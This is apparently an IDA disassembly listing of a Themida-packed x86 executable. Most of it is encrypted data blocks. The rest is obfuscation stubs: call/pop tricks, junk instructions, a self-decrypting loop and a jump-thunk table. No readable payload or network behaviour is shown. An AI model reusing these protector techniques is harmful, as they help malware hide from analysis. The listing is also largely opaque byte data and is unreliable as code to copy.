		dd 0A2B7A5ADh, 0CA080FE4h, 1258A907h, 58724E6Bh, 0F6CFD5B1h
		dd 9BB5B167h, 76326720h, 0D17848FFh, 7FC3C698h,	979426CAh
		dd 0F6CBB79Bh, 27E2FCDFh, 9E1CAC8Ah, 633DEF6Ah,	0B35F83C0h
		dd 885E8AAFh, 0FFE95DFDh, 223C38EAh, 375B2429h,	0A9BEAE9Eh
		dd 265B04D7h, 477C23B2h, 834F665Bh, 0C8AB3FACh,	0AAC4A0B3h
		dd 281BCEFFh, 0AF1C1894h, 5E2C8222h, 0C1891A0Ah, 0AE000004h
		dd 7605B9FCh, 942397CEh, 81F8B4EDh, 9E1D91CEh, 392FABEAh
		dd 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h,	30DBE5C8h
		dd 6BDA5392h, 32AF7572h, 0E75B4E79h, 0FF6DCC7Ch, 0C8B3F23h
		dd 1F4C1E53h, 8726D731h, 1486D0B9h, 205F5E2h, 5848257h
		dd 5E7D295Eh, 22B96DA8h, 2C3F336Ah, 1BD0FC93h, 9F48E988h
		dd 0D05B906Ah, 70A8FBAh, 6B97D5Ah, 336AF4ABh, 458Bh, 0BD5C0100h
		dd 645D4C1Eh, 8267FCCAh, 0D4AAD4A6h, 23CE6DD5h,	0D0AD8994h
		dd 4A245F03h, 6BB5521h,	0ACF38D6Ch, 0FC5AABE5h,	5509DE02h
		dd 23632E96h, 0A48FF94h, 9C05C856h, 28A4C01Ah, 0CEC2FDB1h
		dd 403C5h, 96D73700h, 0C456E9FDh, 0CC7A436h, 324C1E53h
		dd 0CCE6CB77h, 52392B6Dh, 6DCCE6F0h, 1F3C1814h,	8ABF685Fh
		dd 0B96DECCEh, 0B98E927Eh, 7C4E8D2Ch, 0FC8BAC8Dh, 12FE5A67h
		dd 3CF8FB43h, 0CA691A94h, 7AA5DE2Fh, 3DBE39h, 0D70C0000h
		dd 472B1096h, 28155F47h, 5E458912h, 98E502E6h, 89805A81h
		dd 67FC74A8h, 57FEF26Eh, 943C7BEFh, 1BDE750Eh, 397B2ED2h
		dd 0D56D1C42h, 31942387h, 9AB6F79Ah, 0A70BBDh, 32810000h
		dd 542A4479h, 0CC7CED55h, 502D096Dh, 5695374Eh,	3F742BAAh
		dd 0AC62D953h, 28DF5C71h, 89037F3h, 966DCC01h, 8701C168h
		dd 89E59233h, 0B40E774h, 0EA1FC84Fh, 0B12AC936h, 0F42FEC9Fh
		dd 5BD79803h, 687382DFh, 3AF16896h, 38151105h, 155C7F4Bh
		dd 0D1AB879Eh, 0B327660Ah, 0FDA68024h, 7C58DCC8h, 35A6D8CFh
		dd 0D7C0D440h, 310h, 4E0A4DFDh,	6EEA21C7h, 550942E7h, 68E421C6h
		dd 4C003FF1h, 0FCB0225Eh, 0D77A01BDh, 0EF932296h, 0CA81F8B4h
		dd 4A361995h, 0DA4DE35Fh, 1EA6036Bh, 8B3F7E32h,	0AA1E530Ch
		dd 1EBD5C1Ch, 0C139324Ch, 15A192B4h, 58EAA1BBh,	0BC6DCC5Bh
		dd 0B3A08B60h, 5367FC5Bh, 8C8ED3CEh, 2440661Ch,	0A71F214Ah
		dd 391C8840h, 51765A95h, 62CE8C8Dh, 39E50275h, 3CDAD472h
		dd 27393794h, 3CDADE64h, 203A3694h, 3CDAD969h, 0CE13D94h
		dd 945D9837h, 74397A8Fh, 0B3h, 0AA96D7D6h, 0D47AB1CCh
		dd 0A14A11E6h, 85C6B86Ch, 644B8110h, 54DFFCE2h,	0D68571B0h
		dd 6DCC1A56h, 0B1CB00A7h, 6A66DCCFh, 0A27E6DCCh, 0E18A11C5h
		dd 0EC0BF8ACh, 0ED2EDDEFh, 9967FC19h, 994CBE94h, 765AAC0Eh
		dd 0EA565DC2h, 171B0746h, 0B16A213Bh, 559E0A5Fh, 903407D9h
		dd 0AA5EDD51h, 0AF9DFE6Bh, 0F9AD4036h, 213F0h, 0B4E0000h
		dd 0E920C84Fh, 63FE675h, 0E320C352h, 0FD3CF067h, 0CD3F4B41h
		dd 0D960DC1Bh, 0B443F738h, 0E057D30Eh, 5336F227h, 4E00C269h
		dd 7E46BDAh, 3F7E323Dh,	862AB18Bh, 2A93247h, 0AC2F11CDh
		dd 0AB8EBBF6h, 0C3C0B4B3h, 0D7FDC7A4h, 75216004h, 8C78AD56h
		dd 24AFCCA8h, 0B9FAAB7Bh, 0EE9DC39Dh, 6DCC7C54h, 0AFC3B07Bh
		dd 0EBA3DDC5h, 34309279h, 58D46DCCh, 289F5F7Ch,	0BDFEAF7Fh
		dd 39EE6DC9h, 482C08FCh, 6AD73536h, 0BBBFAD80h,	0EAA1189Eh
		dd 0EC6FC1B5h, 2D09FD34h, 0B526AD50h, 26A3F09Bh, 7A4167FCh
		dd 0BBBF9CD1h, 9221B35Fh, 4E7932F3h, 3C69E75Bh,	3F23FF94h
		dd 0EA58532Dh, 0A943C69h, 9B85390Eh, 0CFD290B2h, 0E603E565h
		dd 815B8097h, 0C5B218Ah, 9D89E59Eh, 641045FEh, 84DB7A49h
		dd 0C5946675h, 0EF11E621h, 7E54DC11h, 9B0FCDFFh, 8674FAEh
		dd 9CB185B3h, 1CFC4AEFh, 6F57BC94h, 8CF6E441h, 3DF1CCFh
		dd 0AF639E44h, 0FEBD8FB3h, 11160A4Bh, 0F5B17AAEh, 76536F49h
		dd 0C29239C0h, 3E22CE0Fh, 0B3576E22h, 5B656678h, 87AE0498h
		dd 0FFE995B2h, 0B229AD44h, 54D0C4F9h, 3303BC77h, 0C1A55192h
		dd 5810CBA5h, 73E87521h, 5FD7E862h, 0D28C6185h,	5B75666Dh
		dd 2C9EE3B0h, 0DBC7A38Ah, 22CE03BCh, 0ED6201B0h, 30DBF5E6h
		dd 803C4263h, 2E934723h, 6F1A34A7h, 864623C6h, 9930E440h
		dd 1F01BDF2h, 0D4A9E89Ch, 0DA906007h, 88CFC39Fh, 0EFE5880Ch
		dd 223C2E1h, 0ED7B0B49h, 0CD078FD8h, 5B04D7A9h,	0E8D5126h
		dd 0C37F2A55h, 23CEC624h, 5772B47h, 77549136h, 0D6CA07BCh
		dd 25D10ABFh, 0DCC8FDA6h, 349837CAh, 0B7BFAC82h, 5FC39C84h
		dd 40DFC499h, 0B25A2AE1h, 0F9E3577Bh, 0E69E24E7h, 5554CEC6h
		dd 0CEC6E6EDh, 0F9752D09h, 72B057E4h, 419946BAh, 4B371BABh
		dd 8BC26AF1h, 12F36Eh, 0D7490000h, 7C4002A9h, 0C8A46DCCh
		dd 71255A11h, 0C288D8F5h, 493D8032h, 0B0649952h, 463A7519h
		dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
		dd 55417830h, 0E28952CFh, 4BF57h, 0FA010000h, 4EA835Fh
		dd 5C241487h, 5A5F68h, 24348900h, 3CE668h, 241C8900h, 0A742B7BEh
		dd 17BB5354h, 81216762h, 0CD7301F3h, 2EBC135h, 5887F381h
		dd 0DE01B444h, 4EC815Bh, 89000000h, 4832424h, 835B0424h
		dd 348904ECh, 242C8124h, 778142D9h, 8108438Fh, 42D90843h
		dd 34FF7781h, 0C4815B24h, 4, 5324348Bh,	0C381E389h, 4
		dd 8704C383h, 0E95C241Ch, 0FFFA4B7Ch, 70EE92FCh
		dd 0BB07BBDh, 16346AB8h, 0FFC50306h, 79D519E0h,	6136D263h
		dd 0B85F3041h, 6D9F561Fh, 75027940h, 97030763h,	0BC7D933Fh
		dd 0D98A9838h, 0EB191851h, 2034B538h, 81B88025h, 61893064h
		dd 0A4DD1417h, 95C6330Dh, 0C15FAD13h, 0BCE6C673h, 81C2091Bh
		dd 42F7430Bh, 0E391B58h, 0C87FD54Ah, 3A851D7Eh,	9E80F012h
		dd 352D2432h, 299DB808h, 763E5F6Eh, 3540B67Ch, 13AA3105h
		dd 5BEFC300h, 3E8D8D18h, 6A061636h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0E66CC357h
		dd 30F9858Bh, 8D890610h, 61009F5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0E8C35242h,	60E9EB28h, 6654E380h
		dd 6146C2BFh, 280D9D8Bh, 85C70610h, 6102319h, 6998h, 1C19D29h
		dd 85C70610h, 61022C1h,	0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5AEA5F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5AEA5F	proc near		; CODE XREF: Themida_:005AEA57p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5AEA5F	endp

; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------
		dec	esi
		aas
		cwde
		and	al, 0A0h
		test	[edi], dl
		mov	[ebp+6100C6Dh],	eax
		push	dword ptr [ebp+6102ED5h]
		jmp	loc_5AEA9C
; ---------------------------------------------------------------------------
		dd 0FC872E79h, 1CC02062h, 0DF5CD8DFh, 0D4929218h, 0B8D7E19Eh
; ---------------------------------------------------------------------------


loc_5AEA9C:				; CODE XREF: Themida_:005AEA83j
		call	dword ptr [ebp+6102DB9h]
		push	0
		call	dword ptr [ebp+61031C9h]
		mov	eax, eax
		jmp	short loc_5AEACA
; ---------------------------------------------------------------------------
		dw 5DC5h
; ---------------------------------------------------------------------------
		sbb	[esi+20h], edx
		mov	ah, 61h
		retn
; ---------------------------------------------------------------------------
		mov	al, ds:89CFFDEDh
		add	al, 3Ch
		mov	bh, 78h
		popa
		lahf
		fidiv	word ptr [ecx+43h]
		inc	ebx
		adc	eax, 2E9FB1BBh


loc_5AEACA:				; CODE XREF: Themida_:005AEAACj
		call	near ptr sub_5AEAE0
		xor	[ecx], edi
		xchg	eax, [ecx-6D56D6FFh]
		cdq
; ---------------------------------------------------------------------------
		dd 0CC645C8Fh, 6490939Fh

; =============== S U B	R O U T	I N E =======================================



sub_5AEAE0	proc far		; CODE XREF: Themida_:loc_5AEACAp
		mov	ax, 0FF46h
		pop	ecx
		mov	ax, si
		add	ecx, 6800h
		mov	esi, edx
		push	0
		mov	esi, [ebp+6103169h]
		pop	edi
		mov	[ebp+6102199h],	ebx


loc_5AEB02:				; CODE XREF: sub_5AEB29+4Bj
		mov	ebx, [ecx+edi]
		or	[ebp+61023B1h],	ebx
		add	ebx, 5EAED0F0h
		call	sub_5AEB29
		retf
sub_5AEAE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cli
		wait
		mov	al, 0EBh
		sar	dword ptr [ebp+edi-34920663h], 1
		retn
; ---------------------------------------------------------------------------
		db 12h
		dd 5EECA1ECh
		db 12h

; =============== S U B	R O U T	I N E =======================================



sub_5AEB29	proc near		; CODE XREF: sub_5AEAE0+31p

; FUNCTION CHUNK AT 005534D8 SIZE 00000047 BYTES

		push	ebx
		mov	eax, [ebp+61020B1h]
		pop	edx
		pop	esi
		sub	ebx, 6AE41D14h
		movsx	eax, cx
		add	ebx, 688B8673h
		jns	loc_5AEB4D
		mov	eax, [ebp+61018F9h]


loc_5AEB4D:				; CODE XREF: sub_5AEB29+18j
		mov	[ecx+edi], ebx
		mov	[ebp+61021A5h],	ecx
		js	loc_5AEB62
		sub	[ebp+6102A05h],	esi


loc_5AEB62:				; CODE XREF: sub_5AEB29+2Dj
		sub	edi, 1
		dec	edi
		dec	edi
		dec	edi
		mov	[ebp+6102ACDh],	edx
		cmp	edi, 0FFFF98B8h
		jnz	loc_5AEB02
		jmp	loc_5AEB8B
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0D847995Ah, 0F17F8E34h
		db 0FCh	; ü
		db 0A4h	; ¤
		db  47h	; G
; ---------------------------------------------------------------------------


loc_5AEB8B:				; CODE XREF: sub_5AEB29+51j
		jmp	loc_5AEC19
; ---------------------------------------------------------------------------
		dd 26051B78h, 0BAF5CC47h, 66D138F3h, 9FABAFD6h,	7C4DB297h
		dd 95B7E3h, 0E9A9E572h,	9BB69CB5h, 0B6F37760h, 9EB794A9h
		dd 7D60D760h, 9EA9BD89h, 729EBD8Ch, 4A95ACE3h, 9BB98B20h
		dd 9D89937Eh, 0AFF496B9h, 94A19E96h, 91A7D6B5h,	48D100FDh
		dd 33594ACCh, 5200713Ch, 0F357DB4Dh, 0EFB6005Eh, 0BD899DBBh
		dd 9F899500h, 97BBEFB6h, 0B1B6D000h, 527155C3h,	0DA43700h
		dd 910D3C2h, 0Eh, 2 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_5AEC19:				; CODE XREF: sub_5AEB29:loc_5AEB8Bj
		jmp	loc_5AFC93
; ---------------------------------------------------------------------------
		push	6163966h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163A99h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163B8Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163C9Dh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163D0Eh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163DBBh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163E62h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163EEAh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6163FD5h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61640A4h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6164188h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	61642D0h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	616454Fh
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		push	6164674h
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		dw 53F3h
		dd 671D9C10h, 48FD7C30h, 671C9B0Fh, 8527AE2Ah, 68949246h
		dd 0A31756FAh, 7C307114h, 9A0E49FDh, 7B2F641Bh,	45FDAC90h
		dd 0A16BDA44h, 79327844h, 92395044h, 7584E15Dh,	1EC59466h
		dd 24393DE9h, 0BF29223Ch, 5B93A006h, 2A0FFCD1h,	0DC67FCD5h
		dd 79C59480h, 9C943CD3h, 4DFFBAA4h, 17FE620Eh, 943CD3ABh
		dd 9032D94Bh, 74943CD3h, 1CFFDCF8h, 0D17A4185h,	0F5B8BF9Ch
		dd 0D5397A7Ah, 38h, 1EBD5C37h, 7C745D4Ch, 8D9267FCh, 9D96B4BDh
		dd 60E2C97Fh, 84943CC7h, 0FCA8CCA8h, 67CD4982h,	331B318Eh
		dd 0DAD16D16h, 7F34943Ch, 8FAC05E0h, 0B88C397Ah, 0FE000000h
		dd 50447932h, 0AC589739h, 276407D2h, 59E2F77Bh,	12897DB2h
		dd 1A82459h, 6DCC017Ah,	994E1EC5h, 35C4785Ch, 58AD598Eh
		dd 79401AC1h, 98C09DD2h, 3F1F0F1h, 401A1698h, 0DE77810Bh
		dd 0F409D057h, 24C9906Ah, 686F0EEBh, 1F534D8h, 7C2F4125h
		dd 9E1597D7h, 0A219332Fh, 326F14EEh, 691B9A0Eh,	0C598BD2Ah
		dd 0E4B04034h, 0E19F3h,	0D71ACC00h, 0F52CD463h,	0D20BC239h
		dd 0EF2CDF56h, 0C908BC3Bh, 79EB1715h, 952498D7h, 80F7B3F4h
		dd 9C1B8FCAh, 0FFAAEE3h, 45C47E2Dh, 0C3206BDAh,	3F7E32F9h
		dd 9ECFB18Bh, 0D22D5126h, 53EF962Eh, 0B36DCC24h, 7219A2B7h
		dd 5CEB813Dh, 0FBB128BDh, 7C6DD5C4h, 0AD896DCCh, 463A7B2Eh
		dd 65F406EAh, 989C88BFh, 1A2F7021h, 7C6E4346h, 0CCA867FCh
		dd 917866D8h, 943C7C31h, 878459D5h, 943C7C3Fh, 0EB0EA5DEh
		dd 397B3622h, 45295992h, 0CE759C2Ah, 238567DBh,	0BFA37F94h
		dd 0D646AAh, 0D7840000h, 407D32A9h, 0CC7CE959h,	3C110D6Dh
		dd 0DF93C87Fh, 0AB8738Dh, 0EA6DCC7Ch, 2EE2596Eh, 7CB012F9h
		dd 0D8546DCCh, 0DA6108FCh, 256DCC01h, 695497Eh,	2856285Dh
		dd 3380C181h, 34492592h, 0CA767D72h, 3C38EC21h,	71184618h
		dd 923380D1h, 3C243935h, 0BAF19722h, 968D6AC6h,	9803F68Dh
		dd 34914D29h, 3A2436A5h, 2391F34Fh, 32171394h, 364F7310h
		dd 2F51267Fh, 1546C67Ch, 28421E9Eh, 0ABC0FFB1h,	236206D5h
		dd 3D7C30A7h, 35ECA190h, 0D0D9CD40h, 0CE6h, 2B6F999h, 2296CD73h
		dd 0F9B5EE93h, 1C90CD82h, 30ACEB9Dh, 0E89CCE3Ah, 3A635A9h
		dd 0DB8F06C2h, 0F6AD2CA0h, 1E220DC1h, 0DA46D76Bh, 0EAB22F6Bh
		dd 8B3F7E32h, 0AC15530Ch, 1985A7A6h, 0BD4BFFE3h, 50447932h
		dd 0B90900DEh, 5D6DCC7Ch, 0B86FEC01h, 1C0841E8h, 0F9803C18h
		dd 7A411B54h, 8BE79BD2h, 0FEDB16CCh, 0ADE28900h, 0BA3F8D31h
		dd 0D0AEC01Bh, 9B3ABC9Bh, 2C41CC1Bh, 0FCCEE27Fh, 0AD280467h
		dd 0B2E741FEh, 47F9008Ch, 0B5B165A6h, 0CF8EBF91h, 1352F6A8h
		dd 3BD6035Fh, 28502DF6h, 9A4C8081h, 0D7146665h,	3A5E42F9h
		dd 0C77B2A72h, 58919AC6h, 0A58175B4h, 0A15571EDh, 4416C554h
		dd 0AD3B6745h, 82289F9Bh, 0CDB9F8ACh, 9D998D69h, 497AC8C3h
		dd 0BE9A9B8Fh, 5A11C8A2h, 0D9904B25h, 0CA2EBBA0h, 7135EF2Dh
		dd 0AC53E25Ch, 1F71D277h, 653145ABh, 0BF174h, 0BF02A400h
		dd 9DD48C0Bh, 0BAF39A21h, 97D477FEh, 0B1F09423h, 81F30FFDh
		dd 9D1C90CFh, 0A82FABECh, 8413C702h, 3732A6DBh,	47FC4645h
		dd 9B186BDAh, 44793211h, 87546350h, 1EDDB675h, 22B967FCh
		dd 9A0E326Bh, 532DAE45h, 0C8AD402Dh, 0B354A9B2h, 0BE0CED96h
		dd 1EFA9E13h, 0C59B2372h, 497A9E13h, 7C7E4FAAh,	475E3F8Bh
		dd 0AC000000h, 4C1EBD5Ch, 0FCCA645Dh, 319D8267h, 7072A37h
		dd 647EA61h, 3BEE10EAh,	94230B87h, 0C6BAEF98h, 0FFB6B26Ah
		dd 1D190D4Eh, 0EDA11840h, 0F14FF6B2h, 4A94230Bh, 69F06CA1h
		dd 0A4968AC5h, 18357215h, 0B41A9h, 0BD5C2300h, 0F5D4C1Eh
		dd 9767F633h, 49E20A92h, 970ECF52h, 68CCB8F3h, 40E7728Ch
		dd 1FC84F0Bh, 2AC936EAh, 2BEC9FB1h, 0D39E1F0Ah,	0DB68557h
		dd 0BF7A64D8h, 42F9CE0Dh, 53A05489h, 464517C4h,	942F0771h
		dd 7E9F888Dh, 24A137B4h, 0E3086B54h, 0EFD31C8Dh, 2AF0C34Ah
		dd 0EEF7AF5Eh, 0AE2h, 0F6B2F595h, 1692C97Fh, 0FDB1EA9Fh
		dd 0D08CC97Eh, 0F468A749h, 0B4588AF6h, 8F42B975h, 0A75BDA4Eh
		dd 0C269F06Ch, 0E2DED18Dh, 0DA409B27h, 961E7B6Bh, 0CC7C4402h
		dd 0F1F4036Dh, 0CC7C883Ah, 0D4F06C6Dh, 33C60FFAh, 0A48067F6h
		dd 94B2A1CAh, 0BE53AAA5h, 5B04D7A9h, 7C23B226h,	4F665B47h
		dd 0DAB7728Ch, 0BC9E15CAh, 1F7EFB60h, 3E564031h, 0A7155h
		dd 3F822400h, 1D540C8Bh, 3A731AA1h, 1754F77Eh, 317014A3h
		dd 1738F7Dh, 1D9C104Fh,	28AF2B6Ch, 4934782h, 0B7B2265Bh
		dd 417CC6C5h, 1B986BDAh, 44793291h, 0E4EDDE50h,	60F66F49h
		dd 21CA9166h, 329138ECh, 787B5693h, 0CD5B336Ah,	0B1000004h
		dd 15D596D7h, 8F9B3A7Eh, 0A4B99DDEh, 5729B241h,	0C4F9B229h
		dd 8C7754D0h, 67F6EE7Fh, 8A512B07h, 0A930ACE1h,	67D9CD02h
		dd 0CE0FC279h, 0EB573E22h, 449426D9h, 0B1B561A0h, 9B8865C1h
		dd 9426D923h, 2A44971Eh, 0D5C1FAAFh, 0A5647C51h, 9E16BBCCh
		dd 76E94ECAh, 3A40322Ch, 9C4796Ah, 0D7770000h, 0EBA11894h
		dd 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah, 8F4B8A3Eh
		dd 0A8246508h, 86427D31h, 0A723580Fh, 71D1B8C4h, 956BDA41h
		dd 79328C18h, 92395044h, 0A122A95Dh, 2A26E702h,	0C396336Bh
		dd 640CE122h, 424h, 562ADF5Ah, 7F5C78ADh, 7C4402A5h, 0F4036DCCh
		dd 7C883AF1h, 0F06C6DCCh, 7C972BDEh, 0F36F6DCCh, 70EFDCFh
		dd 0BF67F633h, 19D28963h, 3AF168E4h, 5517DE0Fh,	7975EB40h
		dd 25CB3092h, 7C58D494h, 7F23B688h, 3FD62744h, 0AAC7C29Ch
		dd 6C9E15A9h, 3AA24BF0h, 0C2D24031h, 91DD1h, 0DB1ED000h
		dd 0F930D85Fh, 0D60FB645h, 0F330D362h, 0CD0CC037h, 7DEF1B11h
		dd 49D08CCBh, 64F367A8h, 50C783BEh, 3E66297h, 42B012F9h
		dd 57546BDAh, 447932CDh, 5D923950h, 0DA0FB883h,	497A01FDh
		dd 2A930AAh, 26E7B0CDh,	6336B2Ah, 378h,	7C5E0244h, 0EA096DCCh
		dd 1E2CDFF1h, 0E667F633h, 42E9708Ah, 8E82BB72h,	7BFAAE92h
		dd 0EE38FC4h, 0FFAD407h, 9E15C84Ah, 0A4E385FCh,	6D781BC0h
		dd 144031h, 89597h, 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh
		dd 559438BFh, 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h
		dd 0EBDE5A8Fh, 42A81A11h, 4F4C6BDAh, 447932C5h,	5AEDDE50h
		dd 93D073ABh, 22CD42A6h, 0A0D58E45h, 6D0497F4h,	72E61BC4h
		dd 6B2E66A7h, 6F95D633h, 4BC9E8C2h, 180EC297h, 30000000h
		dd 0DDC906A9h, 0D7A88459h, 7C4002A9h, 0C8A46DCCh, 2CA36B3h
		dd 2860000h, 6DCC7C5Eh,	0DFF1EA09h, 8D6AA75Ch, 20C6956Bh
		dd 12EEF8E5h, 4D771371h, 0A24C7330h, 0B58467F6h, 462AD611h
		dd 0DBF57131h, 588D3605h, 263F8386h, 5BD79426h,	0D90EB57Eh
		dd 0F82DD665h, 72B153E6h, 4D7A955h, 0F67A265Bh,	0A5518A3Fh
		dd 0BA59ACC1h, 7A314F21h, 942626C8h, 451B302Ch,	165B0546h
		dd 21CAC19Eh, 183C38ECh, 32FBDEB3h, 553E5640h, 7AAh, 0EE6AAD5Dh
		dd 0CE8AC167h, 0F569A247h, 0C884C166h, 0EC609F51h, 9C5082FEh
		dd 0B75AE15Dh, 8F33C276h, 0AA61D854h, 0EAD6B975h, 0DA43833Fh
		dd 0BE86636Bh, 74C996D7h, 2B104900h, 4F2C5C34h,	0F9B0DB84h
		dd 6DCCA249h, 0E195B1ADh, 4016CC8Fh, 57745089h,	2EE23DCh
		dd 969F3645h, 3904B8EDh, 336A5778h, 0E58h, 2ED36600h, 482501F5h
		dd 1E2407Ch, 28C0000h, 6DCC7C5Fh, 0DEF0EB0Ah, 0F6330D2Bh
		dd 6779F567h, 0E4F62BD4h, 6277B055h, 2DDC02DCh,	9425B595h
		dd 0D1B5EC71h, 0FFE55A2h, 0E69D1633h, 0E9F0C5B1h, 6831D8F2h
		dd 0FC9E1530h, 0CCD887CFh, 1C31232Bh, 8DB86F66h, 1502249Eh
		dd 8064C09Eh, 7B49094h,	4031D078h, 0DBF7E0B4h, 8E000006h
		dd 962599DCh, 7403B7EEh, 0A11894CDh, 7EFDB1EEh,	0D9CF8BCAh
		dd 4E8D3FADh, 69AA5BDAh, 85C066F5h, 649952C9h, 10FB05E8h
		dd 6BDA3CB2h, 32CF5552h, 0DE504479h, 6B35CB00h,	18255022h
		dd 0CC4BD171h, 7ABB6E6Dh, 1E550B82h, 0F5AE2542h, 0FB5D4C0h
		dd 0F8AD2CD8h, 0E576D3BFh, 546E74Eh, 3C311511h,	8B4E8827h
		dd 0F7C499DAh, 0DC9F1B50h, 336AFF11h, 14F1h, 964C0F00h
		dd 571CA665h, 7CF86DCCh, 40A98358h, 0FCh, 7C5F028Ch, 0EB0A6DCCh
		dd 0A55BDEF0h, 0C99E826Eh, 33DCF4B7h, 383467F6h, 0B7EC9326h
		dd 8DCB7403h, 2F1AEC41h, 5EA73067h, 392988B5h, 9A671B37h
		dd 9B8E607Bh, 9E155BDEh, 59790546h, 0DE61EFE2h,	2004F025h
		dd 12DF1744h, 0D5E68F74h, 0C12602F8h, 40318FF0h, 0F7534450h
		dd 0AA000005h, 9209C508h, 0B027A3DAh, 8D0CC0F9h, 9A219DDAh
		dd 503B7F6h, 9AD98BF9h,	0B5F6971Eh, 91CC82F9h, 0B0E59E1Dh
		dd 7C2F11FCh, 6BDA3DC6h, 32FBC11Eh, 39504479h, 32A95D92h
		dd 3655417Ch, 0DB14B991h, 0FB00BF7h, 2C4F4C70h,	9ED38C95h
		dd 359E6F2Ah, 0F00E336Bh, 33888939h, 0DCF16D92h, 774h
		dd 3940D600h, 8C000000h, 50447932h, 835D9239h, 2DD910B8h
		dd 7CEA5853h, 0E0A6DCCh, 0D1711832h, 356DCC7Ch,	47622439h
		dd 0AF58D978h, 2F45BE7Ah, 6B000000h, 0CFFC3DF0h, 0DFB0D9ABh
		dd 0C4607D78h, 206104D7h, 36CBF074h, 0ACB0256Eh, 631C97B4h
		dd 0AA13422Eh, 506DCC62h, 0EC939231h, 122E631Ch, 79321096h
		dd 7CE75B4Eh, 2EDD6DCCh, 6DCC7C94h, 20FCF470h, 0FCAF2A44h
		dd 0B259D3BFh, 6DCC7C10h, 7F5C78F4h, 38A3327Fh,	33356326h
		dd 51CD67F6h, 0CD04BC7Fh, 5A11C8B0h, 7932A925h,	54635044h
		dd 0B5289A91h, 0B5CC9425h, 4420D413h, 7F2A4420h, 9E1FFABEh
		dd 4712EC48h, 0BBB76BA0h, 48FFBA9Eh, 67209713h,	43461832h
		dd 9E1FEEFFh, 403E1B17h, 65776473h, 2F9791A6h, 4CF16D94h
		dd 5E2B2691h, 0AFA0091Dh, 62000004h, 6AF16DB0h,	48CF8BC2h
		dd 65F468A1h, 52C985C2h, 0FDEB5F9Eh, 72B15381h,	4D8E3FB6h
		dd 29640A91h, 487D26B5h, 0E4A79994h, 6BDA3E5Eh,	327339B6h
		dd 0C708A979h, 0BF7B57DBh, 805A8F38h, 29DD12B9h, 0CDBF9244h
		dd 3DFB47Dh, 54638E6h, 92FE9355h, 6647C91Eh, 5E8A3C21h
		dd 995209DEh, 85DBB064h, 2AD60FB6h, 0F3923146h,	8A97932h
		dd 9C68DAD1h, 908C6DCCh, 0EE5BC0B4h, 0AFD16DFDh, 1793AF93h
		dd 0ACB60845h, 3DFF23A9h, 0F5965720h, 4876336Ah, 0D4000000h
		dd 4C1EBD5Ch, 6727F01Fh, 3C115953h, 4E5C6524h, 219867FCh
		dd 0B5F0966Eh, 74C6BC91h, 3C4A0DB5h, 7EC4C794h,	96943C4Ah
		dd 0CF86E29Ah, 0EA04E01Bh, 0CC80BB6Fh, 3C4AA71Dh, 9ACF7894h
		dd 0B8F3971Eh, 3D4DBCCh, 5C310000h, 5D4C1EBDh, 67FC1104h
		dd 0BBDAC6A2h, 8823CF04h, 34C39837h, 0ABD5A7h, 94239742h
		dd 0CFB1C6A2h, 13FA87DCh, 5E4D1F9Eh, 9E13A9E4h,	8C402400h
		dd 468527B2h, 498A3B5Ah, 26AD502Dh, 68209BB5h, 0D66C1F31h
		dd 2E9E13A9h, 48431532h, 9423C41Bh, 14B35FBBh, 53453170h
		dd 0AB4A01A0h, 6D1DE627h, 0F8DC3488h, 0A47E23E6h, 1C188A33h
		dd 3D7219A0h, 0F44E3D23h, 108A73E3h, 0E3D76B1Eh, 332F8A73h
		dd 4D4C3A0Fh, 98ED6196h, 89805A81h, 80438EA0h, 4F160A66h
		dd 8C63F5F7h, 0B5749F48h, 8C63F50Dh, 0BD698DE9h, 772B6A1Eh
		dd 0B06DAC60h, 5F48740Bh, 92498D24h, 0D1C6A3DAh, 51BBA100h
		dd 47E0h, 4D72A00h, 9BD88B5Bh, 0BB678BE7h, 7C28691Ch, 5EFFDCF8h
		dd 748E957h, 438714E2h,	5F83CEDDh, 2EB59E8Dh, 0D55167FCh
		dd 2DCC7A21h, 0AA61943Ch, 670A8175h, 7E1D7A26h,	9330D9E7h
		dd 0E4B8F9FCh, 0D498397Ah, 0F2000000h, 245D04D7h, 95D38C47h
		dd 67A582BAh, 3DDF96Fh,	0AB579238h, 1E5B10C7h, 58E35D49h
		dd 0DC5774B5h, 9E3DE928h, 0C5C4B0E5h, 8A38F31Eh, 6A6DCCC6h
		dd 579437EEh, 2FABC7ABh, 0CCBBF178h, 6CA14A6Dh,	0B80F5992h
		dd 39B92B50h, 8BC09A24h, 0E3195C3Ah, 0EE2FE2FBh, 15421E02h
		dd 52A8CEAFh, 82390ECBh, 13E094C9h, 605D704h, 67FC49C5h
		dd 0DC29A581h, 0D779953Dh, 0BFF4A5E2h, 0E8E2C9A3h, 0FC9E0AF9h
